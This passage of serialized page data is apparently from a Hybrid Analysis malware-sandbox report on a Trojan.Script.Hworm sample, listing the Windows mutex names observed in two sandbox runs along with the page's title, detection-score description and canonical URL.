networking","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"name":"Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:764:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:764:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"Local\\SM0:764:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"Local\\SM0:764:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"SM0:764:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:764:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4532:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4532:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"SM0:4532:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"Local\\SM0:4532:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3936:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"SM0:3936:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1020:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1020:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"SM0:1020:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"Local\\SM0:1020:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5228:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5228:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"SM0:5228:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"Local\\SM0:5228:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8104:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8104:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"Local\\SM0:8104:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"SM0:8104:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2120:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"Local\\SM0:2120:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"SM0:2120:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2120:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]}]}},"report_ids":{"sandbox_job_ids":["64db7f41958d4d99e30eee4b","6ac5a8c67ce570ddad0574a2"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Script.Hworm Sample 60c6242057a2… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 60c6242057a2…. Malware family: Trojan.Script.Hworm. Threat score 100/100. 9/33 AV engines flagged this file. 4 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Script.Hworm Sample 60c6242057a2… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 60c6242057a2…. Malware family: Trojan.Script.Hworm. Threat score 100/100. 9/33 AV engines flagged this file. 4 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Script.Hworm Sample 60c6242057a2… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 60c6242057a2…. Malware family: Trojan.Script.Hworm. Threat score 100/100. 9/33 AV engines flagged this file. 4 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L5e","11",{}]]